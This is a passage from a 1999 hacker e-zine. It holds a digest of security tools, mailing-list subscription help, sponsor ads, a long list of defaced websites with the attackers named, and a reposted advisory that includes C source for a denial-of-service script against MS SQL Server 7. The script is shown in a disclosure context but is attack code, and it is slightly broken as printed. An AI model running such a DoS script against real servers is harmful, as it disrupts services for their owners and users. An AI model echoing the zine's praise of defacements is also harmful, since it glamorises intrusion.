by Dragonmount Networks
URL: http://www.dragonmount.net/software/lookout/
Platforms: Windows 2000, Windows 95/98 and Windows NT
Number of downloads: 1222
Lookout provides raw access to data sent over a TCP connection, allowing
the inspection of protocols and the testing of buffers. Lookout connects
to a foreign host's port and allows you to communicates with the host.
Alternatively,Lookout can listen on a port and wait for another host to
connect. Lookout can send variable length strings to test buffers easily.
3. cgicheck99 0.4
by deepquest
URL: http://www.deepquest.pf/
Platforms: BSDI, BeOS, DOS, FreeBSD, HP-UX, IRIX, Linux, MacOS, NetBSD,
OS/2, OpenBSD, OpenVMS, PalmOS, Solaris, SunOS, UNIX, Windows 2000,
Windows 3.x, Windows 95/98, Windows CE and Windows NT Number of downloads:
1079
This is one of the worlds most cross platform cgi scanners, running on 37
operating systems! Even Palmos soon! Will check for 119 of common cgi and
other remote issues. Plus it will report you the Bugtraq ID of some
vulnerabilities. Get the rebol interpreter at http://www.rebol.com.
4. HookProtect
by ANNA Ltd., pcihprot@anna.zaporizhzhe.ua
URL: http://www.geocities.com/SiliconValley/Hills/8839/index.html
Platforms: Windows 95/98 and Windows NT
Number of downloads: 777
HookProtect version 2.05 is an another powerful product of PCinvestigator
series. It is specialized on detecting the programs that infringe the
privacy and confidentiality on personal computers. There are many various
types of such programs: keyloggers, interceptors, spies, Trojans and so
on. Their main function is monitoring of some kind of user's activity on a
computer (for example, typing the text, running the applications, opening
the windows, Internet activity, etc.).
5. Pandora for Linux v4 beta 2
by Nomad Mobile Research Centre
URL: http://www.nmrc.org/pandora
Platforms: Linux
Number of downloads: 693
BETA - Online point and click auditing of Novell Netware from Windows NT.
Currently spoofing works but lots of crashes on SP3 (we're working on it).
Attach to server with password hashes extracted from Offline program.
Search for target servers. Attach to a server and grab user accounts
without logging in. Dictionary attack against user account. Multiple
Denial of Service attacks. Improved spoofing and hijacking by using
realtime sniffing. Works against Netware 4 and 5.
6. Sun Enterprise Network Security Service Early Access 1
by Sun Microsystems
URL: http://www.sun.com/software/communitysource/senss/
Platforms: Java
Number of downloads: 637
Sun Enterprise Network Security Service (SENSS) is a flexible, Java-based
security solution: a tool that enables organizations to audit and secure
their systems and networks in a modern, heterogeneous, corporate intranet.
The SENSS software is not yet complete; this is the Early Access 1
release, made available for the benefit of parties with a professional
interest in network security, for their experimentation and comment.
The source code is licensed under the Sun Community Source-Code License,
consistent with the Sun Community Source License principles.
IX. SPONSOR INFORMATION -
------------------------------------------
URL: http://www.core-sdi.com
CORE SDI is an international computer security research and development
company. It's clients include 3 of the Big 5 chartered accountant firms
for whom CORE SDI develops customized security auditing tools as well as
several notable computer security product vendors, such as Network
Associates. CORE SDI also has extensive experiance dealing with financial
and government contracts through out Latin and North America.
X. SUBSCRIBE/UNSUBSCRIBE INFORMATION
-------------------------------------
1. How do I subscribe?
Send an e-mail message to LISTSERV@SECURITYFOCUS.COM with a message body
of:
SUBSCRIBE SF-NEWS Lastname, Firstname
You will receive a confirmation request message to which you will have
to anwser.
2. How do I unsubscribe?
Send an e-mail message to LISTSERV@SECURITYFOCUS.COM from the subscribed
address with a message body of:
UNSUBSCRIBE SF-NEWS
If your email address has changed email aleph1@securityfocus.com and I
will manualy remove you.
3. How do I disable mail delivery temporarily?
If you will are simply going in vacation you can turn off mail delivery
without unsubscribing by sending LISTSERV the command:
SET SF-NEWS NOMAIL
To turn back on e-mail delivery use the command:
SET SF-NEWS MAIL
4. Is the list available in a digest format?
Yes. The digest generated once a day.
5. How do I subscribe to the digest?
To subscribe to the digest join the list normally (see section 0.2.1)
and then send a message to LISTSERV@SECURITYFOCUS.COM with with a message
body of:
SET SF-NEWS DIGEST
6. How do I unsubscribe from the digest?
To turn the digest off send a message to LISTSERV with a message body
of:
SET SF-NEWS NODIGEST
If you want to unsubscribe from the list completely follow the
instructions of section 0.2.2 next.
7. I seem to not be able to unsubscribe. What is going on?
You are probably subscribed from a different address than that from
which you are sending commands to LISTSERV from. Either send email from
the appropiate address or email the moderator to be unsubscribed manually.
Alfred Huger
VP of Engineering
SecurityFocus.com
@HWA
28.0 SQL 7 "Magic Packet" DoS
~~~~~~~~~~~~~~~~~~~~~~~~
From NTSecurity list
Kevork Belian discovered this on Dec. 1. I have been working with his code
trying to replicate the results but have yet to be successful. This does
not
mean that Kevork's findings are incorrect, it just means that I need to do
more testing.
I don't believe in holding information back from the mailing list so here
are the complete details as received from Kevork. Including his code.
This was tested on SQL 7.00.699
MS SQL Server TCP/IP net library must be enabled. Sending more than 3 NULL
bytes in the TCP data can crash the SQL Server. MS SQL listens on TCP port
1433. If this attack is successful you will see an event 17055 in your log
and you will have to reboot to restore service.
It has been suggested that a solution would be to block incoming traffic on
port 1433 or disable the TCP/IP net library. Of course this could have an
impact on the functionality of the product. It would be preferable to have
a MS hotfix for this issue. Microsoft has been notified and are working on
the situation themselves.
It is unknown at this time if this attack is actually being carried out.
============ original text from Kevork Belian========
Description:
MS SQL Server 7.0 silently crashes when sent a TCP packet containing more
than 2 NULLs as data.
I tested this on machines running SQL Server version 7.00.699 (SP 1). The NT
box is running NT Server with SP 4 (I don't think the Service Pack is an
issue since NT is not affected).
If the TCP/IP net library is enabled, the 3 or greater NULL bytes crash SQL
Server listening on port 1433. The SQL server raises an event 17055 with
fatal exception EXCEPTION_ACCESS VIOLATION.
I have noticed that you might experience a situation when the SQL Server
won't crash at first; keep resending the packet until it crashes
(hopefully).
It puzzles me why other people weren't able to reproduce it. Is it a
misconfiguartion issue (I seriosly doubt it).
thanks
Kevork Belian
========end text=========
====begin script from Kevork Belian=====
/*
** sqldos.c -- a DoS attack agains MS SQL Server
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define PORT 1433 /* the port SQL Server listens on */
int main(int argc, char *argv[])
{
int sockfd, numbytes;
struct hostent *he;
char buff[65535];
struct sockaddr_in target_addr;
if (argc != 2) {
fprintf(stderr,"Usage: sqldos target\n");
exit(1);
}
if ((he=gethostbyname(argv[1])) == NULL)
perror("gethostbyname");
exit(1);
}
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket error");
exit(1);
}
target_addr.sin_family = AF_INET;
target_addr.sin_port = htons(PORT);
target_addr.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(target_addr.sin_zero), 8);
if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct
sockaddr)) == -1) {
perror("connect error");
exit(1);
}
memset(&buff, 0, 3);
if ((numbytes=send(sockfd, buff, 14, 0)) == -1) {
perror("send errot");
exit(1);
}
close(sockfd);
return 0;
}
=======end script=========
Of course credit has to go to Kevork Belian as he made the discovery. I
would be interested to hear if anyone else can replicate this.
Regards;
Steve Manzuik
Moderator
Win2K Security Advice
_____________________________________________________________________
** TO UNSUBSCRIBE, send the command "UNSUBSCRIBE win2ksecadvice"
** FOR A WEEKLY DIGEST, send the command "SET win2ksecadvice DIGEST"
SEND ALL COMMANDS TO: listserv@listserv.ntsecurity.net
@HWA
-=----------=- -=----------=- -=----------=- -=----------=-
0
0
0
o
O O O
0
=----------=- -=----------=- -=----------=- -=----------=- -=----------=-
=----------=- -=----------=- -=----------=- -=----------=- -=----------=-
AD.S ADVERTI$ING. The HWA black market ADVERTISEMENT$.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
_ _ _ _
/\ | | | | (_) (_)
/ \ __| |_ _____ _ __| |_ _ ___ _ _ __ __ _
/ /\ \ / _` \ \ / / _ \ '__| __| / __| | '_ \ / _` |
/ ____ \ (_| |\ V / __/ | | |_| \__ \ | | | | (_| |
/_/ \_\__,_| \_/ \___|_| \__|_|___/_|_| |_|\__, |
__/ |
|___/
ADVERTISING IS FREE, SEND IN YOUR ADS TO CRUCIPHUX@DOK.ORG FOR INCLUSION HERE
*****************************************************************************
* *
* ATTRITION.ORG http://www.attrition.org *
* ATTRITION.ORG Advisory Archive, Hacked Page Mirror *
* ATTRITION.ORG DoS Database, Crypto Archive *
* ATTRITION.ORG Sarcasm, Rudeness, and More. *
* *
*****************************************************************************
When people ask you "Who is Kevin Mitnick?" do you have an answer?
www.2600.com www.freekevin.com www.kevinmitnick.com www.2600.com www.freekevi
n.com www.kevinmitnick.com www.2600.com www.freekevin.com www.kevinmitnick.co
m www.2600.com ########################################ww.2600.com www.freeke
vin.com www.kev# Support 2600.com and the Free Kevin #.com www.kevinmitnick.
com www.2600.co# defense fund site, visit it now! . # www.2600.com www.free
kevin.com www.k# FREE EVIN! #in.com www.kevinmitnic
k.com www.2600.########################################om www.2600.com www.fre
ekevin.com www.kevinmitnick.com www.2600.com www.freekevin.com www.kevinmitnic
k.com www.2600.com www.freekevin.com www.kevinmitnick.com www.2600.com www.fre
http://www.2600.com/ http://www.kevinmitnick.com
+-----------------------------------------------------------------------------+
| SmoG Alert .. http://smog.cjb.net/ NEWS on SCIENCE |
| =================== http://smog.cjb.net/ NEWS on SECURITY |
| NEWS/NEWS/NEWS/NEWS http://smog.cjb.net/ NEWS on THE NET |
| http://smog.cjb.net/ NEWS on TECHNOLOGY |
+-----------------------------------------------------------------------------+
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* www.csoft.net webhosting, shell, unlimited hits bandwidth ... www.csoft.net *
* www.csoft.net www.csoft.net www.csoft.net www.csoft.net www.csoft.net *
* http://www.csoft.net" One of our sponsers, visit them now www.csoft.net *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* WWW.BIZTECHTV.COM/PARSE WEDNESDAYS AT 4:30PM EST, HACK/PHREAK CALL-IN WEBTV *
* JOIN #PARSE FOR LIVE PARTICIPATION IN SHOW CHAT OR THE WEBCHAT, AND WEBBOARD*
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* WWW.2600.COM OFF THE HOOK LIVE NETCAST'S TUES SIMULCAST ON WBAI IN NYC @8PM *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
//////////////////////////////////////////////////////////////////////////////
// To place an ad in this section simply type it up and email it to //
// hwa@press,usmc.net, put AD! in the subject header please. - Ed //
// or cruciphux@dok.org //
//////////////////////////////////////////////////////////////////////////////
@HWA
HA.HA Humour and puzzles ...etc
~~~~~~~~~~~~~~~~~~~~~~~~~
Don't worry. worry a *lot*
Send in submissions for this section please! ............c'mon, you KNOW you
wanna...yeah you do...make it fresh and new...be famous...<sic>
SITE.1
You can Send in submissions for this section too if you've found
(or RUN) a cool site...
@HWA
H.W Hacked websites
~~~~~~~~~~~~~~~~
___| _ \ |
| __| _` |\ \ / | | __| _ \ _` |
| | ( | ` < | | | __/ ( |
\____|_| \__,_| _/\_\\___/ _| \___|\__,_|
Note: The hacked site reports stay, especially wsith some cool hits by
groups like *H.A.R.P, go get em boyz racism is a mugs game! - Ed
* Hackers Against Racist Propaganda (See issue #7)
Haven't heard from Catharsys in a while for those following their saga visit
http://frey.rapidnet.com/~ptah/ for 'the story so far'...
Hacker groups breakdown is available at Attrition.org
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
check out http://www.attrition.org/mirror/attrition/groups.html to see who
you are up against. You can often gather intel from IRC as many of these
groups maintain a presence by having a channel with their group name as the
channel name, others aren't so obvious but do exist.
>Hacked Sites Start<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
* Info supplied by the attrition.org mailing list.
Listed oldest to most recent...
Defaced domain: sony.com.pa
Site Title: Sony (Panama)
Mirror: http://www.attrition.org/mirror/attrition/1999/11/28/sony.com.pa
Operating System: Windows NT (IIS/4.0)
Defaced domain: www.dellnet.com.br
Site Title: DellNet
Mirror: http://www.attrition.org/mirror/attrition/1999/11/28/www.dellnet.com.br
Defaced by: The Death Knights
Operating System: Linux
Defaced domain: www.gateway.com.my
Site Title: Gateway Malaysia
Mirror: http://www.attrition.org/mirror/attrition/1999/11/28/www.gateway.com.my
Defaced by: ieet
Operating System: Windows NT
Defaced domain: www.honda.com.kw
Site Title: Honda Korea
Mirror: http://www.attrition.org/mirror/attrition/1999/11/28/www.honda.com.kw
Defaced by: ytcracker
Operating System: Linux
Defaced domain: www.pcmac.com
Site Title: PC Mac Consultants
Mirror: http://www.attrition.org/mirror/attrition/1999/11/28/www.pcmac.com
Defaced by: cipher
Operating System: Windows NT
Defaced domain: homesandloansinc.com
Site Title: Homes And Loans Inc.
Mirror: http://www.attrition.org/mirror/attrition/1999/11/28/homesandloansinc.com
Defaced by: Tranzer
Operating System: Windows NT
Defaced domain: www.boobshack.com
Site Title: Boob Shack
Mirror: http://www.attrition.org/mirror/attrition/1999/11/28/www.boobshack.com
Defaced by: naptime
Operating System: Linux
Previously Hacked
Defaced domain: www.whitehousehistory.org
Site Title: The White House Historical Association
Mirror: http://www.attrition.org/mirror/attrition/1999/11/28/www.whitehousehistory.org
Defaced by: Einstein
Operating System: Windows NT
Attrition comment: 2nd time hacked
Defaced domain: www.faculdadesantamarta.br
Site Title: Faculdade Santa Marta
Mirror: http://www.attrition.org/mirror/attrition/1999/11/28/www.faculdadesantamarta.br
Defaced by: The Death Knights
Operating System: Linux
Previously Hacked
Defaced domain: sony.com.pa
Site Title: Sony Panama
Mirror: http://www.attrition.org/mirror/attrition/1999/11/28/sony.com.pa
Defaced by: Antichrist
Operating System: Windows NT
Attrition comment: 2nd time defaced
Defaced domain: www.ai-security.com
Site Title: AI Security Inc
Mirror: http://www.attrition.org/mirror/attrition/1999/11/28/www.ai-security.com
Defaced by: g e n X h a k
Operating System: FreeBSD 2.2.1 - 3.0 (Apache 1.2.6)
Previously Hacked
Defaced domain: www.monicalewinsky.com
Site Title: Monica Lewinsky's Web site
Mirror: http://www.attrition.org/mirror/attrition/1999/11/28/www.monicalewinsky.com
Defaced by: un1x bowling t34m
Operating System: BSDI
Attrition comment: 4th time defaced
Defaced domain: www.nissan.com.mx
Site Title: Nissan Mexico
Mirror: http://www.attrition.org/mirror/attrition/1999/11/28/www.nissan.com.mx
Defaced by: ytcracker
Operating System: Windows NT
Previously Hacked
Defaced domain: acquisition.jpl.nasa.gov
Site Title: Jet Propulsion Labs NASA
Mirror: http://www.attrition.org/mirror/attrition/1999/11/28/acquisition.jpl.nasa.gov
Defaced by: JLM
Operating System: Windows NT (IIS/4.0)
Attrition comment: Previously defaced on 99.10.26 by phreak.nl
Defaced domain: www.whataburger.com
Site Title: Whataburger Restaurants
Mirror: http://www.attrition.org/mirror/attrition/1999/11/28/www.whataburger.com
Defaced by: klept0
Operating System: Linux
Defaced domain: www.asesor.com.pe
Mirror: http://www.attrition.org/mirror/attrition/1999/11/29/www.asesor.com.pe
Defaced by: xhostile/acidklown
Operating System: Windows NT (IIS/4.0)
Defaced domain: www.spyconnection.com
Site Title: Spy Connection
Mirror: http://www.attrition.org/mirror/attrition/1999/11/29/www.spyconnection.com
Defaced by: `defcon
Operating System: BSDI
Defaced domain: www.wireless.ee
Site Title: Phreak.nl
Mirror: http://www.attrition.org/mirror/attrition/1999/11/29/www.wireless.ee
Defaced by: Phreak.nl
Operating System: Windows 95
Defaced domain: www.oab.org.br
Site Title: Ordem dos Advogados do Brasil
Mirror: http://www.attrition.org/mirror/attrition/1999/11/29/www.oab.org.br
Defaced by: inferno.br
Operating System: Windows NT
Defaced domain: www.fabrisia.com
Site Title: Fabrisia Cronin
Mirror: http://www.attrition.org/mirror/attrition/1999/11/29/www.fabrisia.com
Defaced by: Analognet
Operating System: Linux
Defaced domain: www.rayee.com
Site Title: Rayee
Mirror: http://www.attrition.org/mirror/attrition/1999/11/29/www.rayee.com
Defaced by: Analognet
Operating System: BSDI
Defaced domain: www.streamingcam.com
Site Title: Straming Cam
Mirror: http://www.attrition.org/mirror/attrition/1999/11/29/www.streamingcam.com
Defaced by: Analognet
Operating System: BSDI
Defaced domain: www.compunetcgi.com
Site Title: Compunet Computer Group
Mirror: http://www.attrition.org/mirror/attrition/1999/11/29/www.compunetcgi.com
Defaced by: Evil Entity
Operating System: Windows NT (IIS/4.0)
Defaced domain: whv1.warnervideo.com
Site Title: Warner Home Video
Mirror: http://www.attrition.org/mirror/attrition/1999/11/29/whv1.warnervideo.com
Defaced by: etC
Operating System: Solaris 2.5.x (Netscape-Enterprise/2.0a)
Defaced domain: www.dds.be
Mirror: http://www.attrition.org/mirror/attrition/1999/11/29/www.dds.be
Defaced by: sacudo69
Operating System: Irix (Rapidsite/Apa-1.3.4)
Previously Hacked
Defaced domain: www.hg.com.cn
Site Title: HG China
Mirror: http://www.attrition.org/mirror/attrition/1999/11/29/www.hg.com.cn
Defaced by: kryptek
Operating System: Solaris
Attrition comment: 2nd time defaced
HIDDEN comments in the HTML.
Previously Hacked
Defaced domain: www.nukleer.gov.tr
Site Title: Cekmece Nuclear Research and Training Center
Mirror: http://www.attrition.org/mirror/attrition/1999/11/29/www.nukleer.gov.tr
Defaced by: oystr-n-klam
Operating System: Linux
Attrition comment: 2nd time defaced
Defaced domain: www.latino-market.com
Site Title: Millennium Computers
Mirror: http://www.attrition.org/mirror/attrition/1999/11/29/www.latino-market.com
Defaced by: p4riah
Operating System: WIndows NT
Defaced domain: bodystore.nu
Mirror: http://www.attrition.org/mirror/attrition/1999/11/30/bodystore.nu
Defaced by: I.R.C.
Operating System: Windows NT (IIS/4.0)
Defaced domain: www.investigationresources.com
Site Title: Investigative Resources Agency
Mirror: http://www.attrition.org/mirror/attrition/1999/11/30/www.investigationresources.com
Defaced by: ytcracker
Operating System: Windows NT (IIS/4.0)
Attrition comment: mass hack
Previously Hacked
Defaced domain: www.esdcinc.com
Site Title: ESDC Inc
Mirror: http://www.attrition.org/mirror/attrition/1999/11/30/www.esdcinc.com
Defaced by: Floghe
Operating System: Windows NT
Defaced domain: www.thomashosp.com
Site Title: Thomas Hosp
Mirror: http://www.attrition.org/mirror/attrition/1999/11/30/www.thomashosp.com
Defaced by: w0lf
Operating System: Irix
Defaced domain: www.lottoteam.de
Mirror: http://www.attrition.org/mirror/attrition/1999/11/30/www.lottoteam.de
Defaced by: r00tabega
Operating System: Irix (Rapidsite/Apa-1.3.4)
Defaced domain: www.familyheartbeat.org
Site Title: electr0n
Mirror: http://www.attrition.org/mirror/attrition/1999/11/30/www.familyheartbeat.org
Defaced by: electr0n
Operating System: BSDI
Defaced domain: www.phifersystems.com
Site Title: Phifer Systems, Inc.
Mirror: http://www.attrition.org/mirror/attrition/1999/11/30/www.phifersystems.com
Defaced by: ytcracker
Operating System: Linux
Defaced domain: www.barat.edu
Site Title: Barat College
Mirror: http://www.attrition.org/mirror/attrition/1999/11/30/www.barat.edu
Defaced by: phiber
Operating System: Windows NT
Defaced domain: west.medicdata.com
Mirror: http://www.attrition.org/mirror/attrition/1999/11/30/west.medicdata.com
Defaced by: ytcracker
Operating System: Red Hat Linux (Apache 1.3.6)
Defaced domain: www.car-4sale.com
Mirror: http://www.attrition.org/mirror/attrition/1999/12/01/www.car-4sale.com
Defaced by: ytcracker
Operating System: BSDI 3.0 (Apache 1.2.6)
Defaced domain: tfcnews.com
Mirror: http://www.attrition.org/mirror/attrition/1999/12/01/tfcnews.com
Defaced by: Hate Inc
Operating System: Windows NT (IIS/4.0)
Defaced domain: www.ahcg.com
Mirror: http://www.attrition.org/mirror/attrition/1999/12/01/www.ahcg.com
Defaced by: xhostile & acidklown
Operating System: MacOS (AppleShareIP/6.0.0)
Defaced domain: www.globefilm.com.au
Site Title: Globe Film
Mirror: http://www.attrition.org/mirror/attrition/1999/12/01/www.globefilm.com.au
Defaced by: xhostile & acidk|own
Operating System: Windows NT
Defaced domain: www.calcapital.com
Site Title: Cal Capital
Mirror: http://www.attrition.org/mirror/attrition/1999/12/01/www.calcapital.com
Defaced by: hV2k
Operating System: BSDI
Defaced domain: stace.commed.ru
Site Title: Commed Web Hosting
Mirror: http://www.attrition.org/mirror/attrition/1999/12/01/stace.commed.ru
Defaced by: ytcracker
Operating System: Linux
Defaced domain: www.toystory2.net
Mirror: http://www.attrition.org/mirror/attrition/1999/12/01/www.toystory2.net
Defaced by: zeroc
Operating System: BSDI (Apache 1.3.6)
Defaced domain: www.uni-net.co.uk
Mirror: http://www.attrition.org/mirror/attrition/1999/12/01/www.uni-net.co.uk
Defaced by: RETURN OF APOCALYPSE
Operating System: Solaris 2.6 - 2.7 (Apache 1.2.4)
HIDDEN comments in the HTML.
Previously Hacked
Defaced domain: www.lottoteam.de
Site Title: Lotto Team
Mirror: http://www.attrition.org/mirror/attrition/1999/12/02/www.lottoteam.de
Defaced by: Fuby
Operating System: Irox
Attrition comment: 2nd time defaced
HIDDEN comments in the HTML.
Defaced domain: www.m-hip.com
Site Title: McDermit Combined Schools
Mirror: http://www.attrition.org/mirror/attrition/1999/12/02/www.m-hip.com
Defaced by: Fuby
Operating System: Windows NT (IIS/4.0)
Defaced domain: www.pornography.com
Site Title: Atlantis Management Group
Mirror: http://www.attrition.org/mirror/attrition/1999/12/02/www.pornography.com
Defaced by: Sploit
Operating System: Windows NT (IIS/4.0)
Previously Hacked
Defaced domain: tfcnews.com
Site Title: TFC News
Mirror: http://www.attrition.org/mirror/attrition/1999/12/02/tfcnews.com
Defaced by: p4riah
Operating System: Windows NT (IIS/4.0)
Attrition comment: Yes, it really was hacked.
Defaced domain: unix.webgraphics.com
Site Title: Worldwide Web Graphics
Mirror: http://www.attrition.org/mirror/attrition/1999/12/02/unix.webgraphics.com
Defaced by: Nitr0BurN
Operating System: Linux (Apache 1.3.4)
Defaced domain: www.ivcsnet.net
Site Title: Imperial Valley Computer Service
Mirror: http://www.attrition.org/mirror/attrition/1999/12/02/www.ivcsnet.net
Defaced by: p4riah
Operating System: Windows NT (IIS/4.0)
Defaced domain: mars.assiniboinec.mb.ca
Mirror: http://www.attrition.org/mirror/attrition/1999/12/02/mars.assiniboinec.mb.ca
Defaced by: nitroburn
Operating System: Linux (Apache 1.2.6)
Defaced domain: radius.preferred.com
Mirror: http://www.attrition.org/mirror/attrition/1999/12/02/radius.preferred.com
Defaced by: nitroburn
Operating System: Linux (Apache 1.3.3)
Defaced domain: www.socioambiental.org
Site Title: Instituto Socioambiental
Mirror: http://www.attrition.org/mirror/attrition/1999/12/03/www.socioambiental.org
Defaced by: c3zar
Operating System: Irix (Rapidsite/Apa-1.3.4)
Defaced domain: www.optimumsettings.com
Site Title: CEO Software, Inc
Mirror: http://www.attrition.org/mirror/attrition/1999/12/03/www.optimumsettings.com
Defaced by: wkD
Operating System: Linux (Apache/1.3.4)
Defaced domain: coldwellbankerj-s.com
Site Title: Coldwell Banker Justrom & Stromme
Mirror: http://www.attrition.org/mirror/attrition/1999/12/03/coldwellbankerj-s.com
Defaced by: DHC
Operating System: Linux (Apache 1.2.4)
Defaced domain: www.themillcasino.com
Site Title: The Mill Casino
Mirror: http://www.attrition.org/mirror/attrition/1999/12/03/www.themillcasino.com
Defaced by: DHC
Operating System: Linux (Apache 1.2.4)
Defaced domain: www.pioneerimplement.com
Site Title: Pioneer Implement
Mirror: http://www.attrition.org/mirror/attrition/1999/12/03/www.pioneerimplement.com
Defaced by: DHC
Operating System: Linux (Apache 1.2.4)
Defaced domain: www.schedulerplus.com
Site Title: CEO Software
Mirror: http://www.attrition.org/mirror/attrition/1999/12/03/www.schedulerplus.com
Defaced by: wkD
Operating System: Linux (Apache 1.3.4)
Defaced domain: www.votedbest.com
Site Title: Irmo News
Mirror: http://www.attrition.org/mirror/attrition/1999/12/03/www.votedbest.com
Defaced by: Uneek
Operating System: Windows NT (IIS/4.0)
Defaced domain: www.indev.nic.in
Mirror: http://www.attrition.org/mirror/attrition/1999/12/03/www.indev.nic.in
Defaced by: c0rvus
Operating System: Windows NT (IIS/4.0)
Defaced domain: beta.intuit.com
Mirror: http://www.attrition.org/mirror/attrition/1999/12/03/beta.intuit.com
Defaced by: Uneek Technologies
Operating System: Windows NT (WebSitePro/1.1h)
Defaced domain: www.css.com
Site Title: Consult Supply Support
Mirror: http://www.attrition.org/mirror/attrition/1999/12/03/www.css.com
Operating System: FreeBSD 2.2.1 - 3.0
Attrition comment: Defacement implies site was RM'd
Defaced domain: www.bhv.hn
Mirror: http://www.attrition.org/mirror/attrition/1999/12/03/www.bhv.hn
Defaced by: xhostile & acidklown
Operating System: Windows NT (IIS/4.0)
Defaced domain: www.swoya.com
Site Title: Boys & Girls Club of Southwestern Oregon
Mirror: http://www.attrition.org/mirror/attrition/1999/12/03/www.swoya.com
Defaced by: DHC
Operating System: Linux
Defaced domain: www.mtb.gov.br
Site Title: Ministerio do Trabalho e do Emprego
Mirror: http://www.attrition.org/mirror/attrition/1999/12/03/www.mtb.gov.br
Defaced by: inferno.br
Operating System: Windows NT
Defaced domain: www.kdcq.com
Site Title: K-Dock Oldies 93.5
Mirror: http://www.attrition.org/mirror/attrition/1999/12/03/www.kdcq.com
Defaced by: DHC
Operating System: Linux
Defaced domain: www.trt6.gov.br
Mirror: http://www.attrition.org/mirror/attrition/1999/12/03/www.trt6.gov.br
Defaced by: Einstein
Operating System: WinNT
Defaced domain: www.memphischamber.com
Site Title: Towery Publishing
Mirror: http://www.attrition.org/mirror/attrition/1999/12/03/www.memphischamber.com
Defaced by: bansh33 and Analognet
Operating System: Irix
Previously Hacked
Defaced domain: www.salton-maxim.com
Site Title: Samantha Dreimann
Mirror: http://www.attrition.org/mirror/attrition/1999/12/03/www.salton-maxim.com
Defaced by: p4riah
Operating System: WinNT
Previously Hacked
Defaced domain: www.hwa.net
Site Title: Hoefer WYSOCKI Architects
Mirror: http://www.attrition.org/mirror/attrition/1999/12/03/www.hwa.net
Defaced by: n4rfy
Operating System: WinNT
Defaced domain: www.cuztom.com
Site Title: Cuztom Incorporated
Mirror: http://www.attrition.org/mirror/attrition/1999/12/03/www.cuztom.com
Defaced by: cipher
Operating System: WinNT
Defaced domain: www.ordsvy.gov.uk
Mirror: http://www.attrition.org/mirror/attrition/1999/12/04/www.ordsvy.gov.uk
Defaced by: Sarin
Operating System: Windows NT (IIS/4.0)
HIDDEN comments in the HTML
Defaced domain: www.nctsjax.navy.mil
Site Title: Navy Computer and Telecommunications Station, Jacksonvile FLorida
Mirror: http://www.attrition.org/mirror/attrition/1999/12/04/www.nctsjax.navy.mil
Defaced by: s01o and k-0s
Operating System: Windows NT
Defaced domain: aoc.gov
Site Title: The Architect of the United States Capitol
Mirror: http://www.attrition.org/mirror/attrition/1999/12/04/aoc.gov
Defaced by: Verb0
Operating System: Windows NT
Defaced domain: cpma.apg.army.mil
Site Title: Civilian Personnel Operations Center Management Agency
Mirror: http://www.attrition.org/mirror/attrition/1999/12/04/cpma.apg.army.mil
Defaced by: s01o and k-0s
Operating System: Windows NT
Previously Hacked
Defaced domain: www.learncomm.org
Site Title: Kiel Woodward Associates
Mirror: http://www.attrition.org/mirror/attrition/1999/12/04/www.learncomm.org
Defaced by: DHC
Operating System: Irix
Defaced domain: www.zetcom.ru
Site Title: Zetcom
Mirror: http://www.attrition.org/mirror/attrition/1999/12/04/www.zetcom.ru
Defaced by: Z0omer
Operating System: Windows NT
Previously Hacked
Defaced domain: www.pietersburg.org.za
Mirror: http://www.attrition.org/mirror/attrition/1999/12/04/www.pietersburg.org.za
Defaced by: aKt0r & DajinX
Operating System: Windows NT (IIS/4.0)
Attrition comment: Previously defaced on 99.09.18 by 139_r00ted - one of 11 .za domains hacked
Previously Hacked
Defaced domain: www.asesor.com.pe
Mirror: http://www.attrition.org/mirror/attrition/1999/12/04/www.asesor.com.pe
Defaced by: bean0
Operating System: Windows NT (IIS/4.0)
Attrition comment: Previously defaced on 99.11.29 by acidkl0wn
Defaced domain: www.colts.com
Site Title: National Football League
Mirror: http://www.attrition.org/mirror/attrition/1999/12/04/www.colts.com
Defaced by: Tr1pl3 S31S
Operating System: Windows NT (IIS/4.0)
Defaced domain: www.isaltda.com.uy
Mirror: http://www.attrition.org/mirror/attrition/1999/12/04/www.isaltda.com.uy
Defaced by: m0zy
Operating System: Windows NT (Lotus-Domino/Versi�n-4.6.3a)
Defaced domain: www.ta-eng.com
Site Title: TA Engineering
Mirror: http://www.attrition.org/mirror/attrition/1999/12/04/www.ta-eng.com
Defaced by: himi
Operating System: Windows NT (IIS/4.0)
and more sites at the attrition cracked web sites mirror:
http://www.attrition.org/mirror/attrition/index.html
-------------------------------------------------------------------------
A.0 APPENDICES
_________________________________________________________________________
A.1 PHACVW, sekurity, security, cyberwar links
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The links are no longer maintained in this file, there is now a
links section on the http://welcome.to/HWA.hax0r.news/ url so check
there for current links etc.
The hack FAQ (The #hack/alt.2600 faq)
http://www-personal.engin.umich.edu/~jgotts/underground/hack-faq.html
Hacker's Jargon File (The quote file)
http://www.lysator.liu.se/hackdict/split2/main_index.html
New Hacker's Jargon File.
http://www.tuxedo.org/~esr/jargon/
HWA.hax0r.news Mirror Sites around the world:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://datatwirl.intranova.net ** NEW **
http://the.wiretapped.net/security/textfiles/hWa.hax0r.news/ ** NEW **
http://net-security.org/hwahaxornews ** NEW **
http://www.sysbreakers.com/hwa ** NEW **
http://www.attrition.org/hosted/hwa/
http://www.attrition.org/~modify/texts/zines/HWA/
http://www.hackunlimited.com/zine/hwa/ *UPDATED*
http://www.ducktank.net/hwa/issues.html. ** NEW **
